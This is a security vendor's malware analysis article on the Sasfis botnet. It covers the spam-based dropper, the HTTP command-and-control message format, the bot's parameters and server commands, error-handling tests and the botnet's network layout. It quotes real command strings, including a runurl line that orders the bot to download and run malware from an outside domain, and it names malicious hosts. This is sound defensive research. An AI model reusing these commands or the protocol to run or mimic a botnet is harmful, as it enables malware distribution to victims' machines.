Analyzing Sasfis Botnet Communications
|
Analyzing Sasfis Botnet Communications 2010.January.28 Research and Analysis: Doug MacDonald
Index:
IntroductionOver the last few months Sasfis has developed into one of the larger botnets, sometimes large enough to make its way into the top ten. The Sasfis bot basically functions as a downloader that is remotely controlled by HTTP messages. Once it has infected a computer, it can be commanded to download and execute other malware. In this analysis we will take a close look at the Sasfis botnet, focusing on the messages passed back and forth between it and the botnet Command and Control Server. Fortinet detects Sasfis bot network activity as "Sasfis.Botnet". Bot InstallationThe Sasfis bot dropper is usually distributed in a zip file attached to a spam email. The email typically tries to pose as a payment demand or a warning about email or messaging account problems. The recipient is pressured to open the "attached document", which is actually the zipped bot dropper. As is usual for this type of bot, no attempt is made to directly infect other computers (ie: worm behavior like Conficker). The bot dropper is packed with a custom packer, but the actual dropped bot DLL is not packed. When the dropper is executed it extracts a copy of the bot, which quickly takes the steps necessary to install and configure itself. The filenames shown here are for one of the tested samples. Please note that the bot DLL name is frequently changed. The following steps outline the sequence of events observed during installation:
Botnet Command & Control Examples
The Sasfis bot communicates with its botnet C&C server using HTTP on TCP port 80. The URL of the server is hard coded into the bot, with the DNS lookup being done through the infected host's assigned DNS servers. When the bot initially runs, it sends a GET request to the C&C server with several parameters to identify itself. In return it receives some commands to be executed. From that point onward the bot reconnects to the server at timed intervals to check for further instructions.
Basic Message ExchangeThe message exchange shown below illustrates how commands are sent to the bot. This is the most frequently seen pair of messages, first a standard query from the bot, followed by a simple "do nothing" response from the C&C server. The most important parameters and commands are explained here, the others will be discussed later in more detail.
When its internal timer runs out the bot initiates contact with the C&C server. The bot checks in with the minimum set of parameters. This is the standard message sent by the bot when it is not executing any server commands.
id=573722615
v=200
tm=110
b=biguprus
Here we can see the C&C server's response, with commands for the bot. This is the basic "do nothing" command set. Following these instructions, the bot will wait for 60 minutes and then will check in again.
[info] [/info]
delay:60 The upd: and backurls: commands are included, but with their parameters set to take no action. Bot Startup and Initial DownloadThis message exchange was captured when a Sasfis bot sample was executed for the first time. Other samples produce similar network activity. The first order of business for the bot is to get instructions from the C&C server, as we can see below:
The bot knows the URL of the C&C server, so its first action is to get the IP address. Each different version of the bot seems to have its own C&C server URL.
The bot connects to the C&C server and asks for instructions. This is the same minimal message we saw above (in frame 781).
The C&C command string arrives. The bot's main function is to download other malware, so of course the first command is for a download.
runurl:http://reqtv.com/update/update.exe
taskid:18
delay:60
The malware file is downloaded into the "%TEMP%\" folder, with a temporary file name. Usually the download is from a separate server, but some downloads from the C&C server have been seen. When the download is complete, the malware is executed.
The bot reports success or failure to the C&C server after the downloaded program has been executed. This bot message is sent immediately, bypassing the 60 minute delay.
tid=18
r=1
The C&C server replies to the bot report with a new command string. The kill:0 command is always sent by the server after a download. If kill:1 was sent the bot would be removed from the infected host.
At this point the downloaded malware is installed and running, and proceeds to carry out its business. The Sasfis bot stays in the background, doing nothing other than to check the C&C server whenever the delay: time expires. In the botnet shown here, after a few days, new malware was distributed to the bots. The message exchange from this event can be seen below. The ability to make changes to the infected computers in this simple manner is a major advantage of using the bot for distribution, instead of installing the malware directly.
The bot checks the C&C server for commands, as it has done many times in the last few days.
But this time something is different, a new download is ordered. The download is named bot.exe - a new malware program.
The download URL has changed from reqtv.com to refda.com, but the IP Address is the same.
The download is completed without any problems. The new malware file is a new application, not an updated version of the previously downloaded malware.
Multiple Downloads and Failure ResponsesIn this message exchange, the C&C server sends commands to download three malware files, but the downloads all fail for various reasons. The result message from the bot and the handling of this error by the C&C server are exposed.
When the bot starts up it finds the C&C server and sends the usual check-in message.
The C&C command is to download and execute three program files. The bot will carry out this task and report all three results together (as taskid:/tid number 7).
But disaster strikes, the DNS entry for myzevs.cn cannot be found, preventing two of the downloads.
The DNS lookup works for kodekarworld.com, but the server does not respond, and the third download also cannot be completed.
The bot reports back to the server, indicating that the task failed.
tid=7
r=000
The C&C server continues to resend the same command string, so that the failed task is retried many times. Tests show that this will probably continue until the task succeeds or the command string is changed at the server.
Error Handling by the C&C ServerHere we look at the results of some tests that show how errors are handled by the C&C server. Errors were introduced into the messages sent from the bot to the server, and the server response was captured. To simplify the presentation, only the bot's GET request and the resulting server command string are shown.
This is the standard bot request and the normal response from this C&C server, included here for reference.
In the first test the b=31,12 parameter is changed to b=31,12xx, so that it will not be recognized. The server does not notice the change.
In this test the b=31,12 is changed to bad=31,12, so that an unknown parameter is presented. The server response is to order a file download, with the downloaded file being another trojan downloader from the Win32/Alureon family. This malware is reported to be able to intercept and to send network traffic, so it seems possible that the intention here is to use it as a diagnostic tool.
The GET request from the bot reports a successful download. The C&C server asks for another download, in this case an older, presumably stable, version of the Sasfis bot.
Command and Parameter DetailsThis section contains a summary of the bot GET message parameters and C&C server commands that have been seen in use, with examples. In some cases it is not possible to give a full description because of limited information about the C&C server and its configuration. Bot GET ParametersThe first four parameters listed here are included in every GET request sent from the bot to the C&C server. For reference here is a typical GET request:
id=213546879
v=200
tm=292
b
The last two parameters are only included in GET requests that are sent after the bot has executed a command and is reporting the results. Here is a typical GET request of this type:
tid=18
r
C&C Server Commands
[info] [/info]
backurls: Often the "backurls:" field is blank, and as the examples below show, there may be some confusion about what form the URLs should take. This could mean that more than one bot master is creating C&C server configurations, or even that this bot is being distributed as a kit. In any case, indications are that the last form, (.../bb.php), is the correct one.
delay:
kill:
runurl:
taskid:18
upd:
Network AnalysisThe diagrams below show network address data for four Sasfis botnets. Each botnet was based on a different bot executable file and each was controlled by a different C&C server. By looking at the IP addresses of the botnet servers in Figure 1 and Figure 2, it can be seen that they fall into two groups.  Figure 1: All botnet services on a single IP address. Figure 1 shows one Sasfis botnet where a single IP address was used for all of the services, including the C&C server, the Download servers and two of the DNS servers. The remaining two DNS servers, {ns1,ns2}.sr316.2dayhost.com were probably also at the same IP address, because that is where sr316.2dayhost.com is located. It seems unlikely that this simple network was designed by the same group who set up the more complex botnets depicted in Figure 2.  Figure 2: Relationship between three botnets. Figure 2 shows three botnets set up by different bots that were distributed over a period of about six weeks. The first one, with C&C "myloader.cn", started on another network and was moved to the address seen here at some point during that time period. Most of the C&C and Download servers shown here are within a narrow range of IP addresses located at "ChinaNet Telecom" in Beijing. The exception is the two "backurls:", but "backurls:" was re-targeted to the C&C server "gnfdt.com" after a few days, which resolved to the same 122.115.63.x block. Downloaded MalwareDuring the tests a surprising number and variety of malware files were downloaded by just a few samples of the Sasfis bot. One sample was a mailing engine that queried C&C servers for spam templates, while others were associated with banking trojans. This is quite common, as has been the case with Zeus/ZBot. Here is a list of the most widely observed examples:
ConclusionsJudging by the samples that were studied, different versions of the Sasfis bot DLL appear every few days. Most of these start a new botnet, with a different C&C URL and botnet identifier (b parameter). Some of the botnets had new malware distributed to them two or three times, but in the end the servers became unavailable, and the botnets were effectively abandoned. This seems to indicate that the Sasfis botnets are regarded as disposable, to be used only for a limited time. If so the bot masters must find it easier to build a new botnet than to update an old one, implying that infecting new computers is much easier than it should be. This is similar behavior to Zeus/ZBot - however it does not mean all networks will be short lived. If a solid network could be deployed (mesh network / fast flux), start-up botnets can last for quite some time. Some points were noted in the analysis that suggest that some of the Sasfis botnets were set up by different individuals. This may mean that there is a Sasfis botnet kit out there, as there is with Zeus/ZBot, but research so far has failed to unearth one. Derek Manky contributed to this article. Disclaimer: Although Fortinet has attempted to provide accurate information in these materials, Fortinet assumes no legal responsibility for the accuracy or completeness of the information. More specific information is available on request from Fortinet. Please note that Fortinet's product information does not constitute or contain any guarantee, warranty or legally binding representation, unless expressly identified as such in a duly signed writing. About Fortinet ( www.fortinet.com ): Fortinet is the pioneer and leading provider of ASIC-accelerated unified threat management, or UTM, security systems, which are used by enterprises and service providers to increase their security while reducing total operating costs. Fortinet solutions were built from the ground up to integrate multiple levels of security protection--including firewall, antivirus, intrusion prevention, VPN, spyware prevention and anti-spam -- designed to help customers protect against network and content level threats. Leveraging a custom ASIC and unified interface, Fortinet solutions offer advanced security functionality that scales from remote office to chassis-based solutions with integrated management and reporting. Fortinet solutions have won multiple awards around the world and are the only security products that are certified in six programs by ICSA Labs: (Firewall, Antivirus, IPSec, SSL, Network IPS, and Anti-Spyware). Fortinet is privately held and based in Sunnyvale, California. |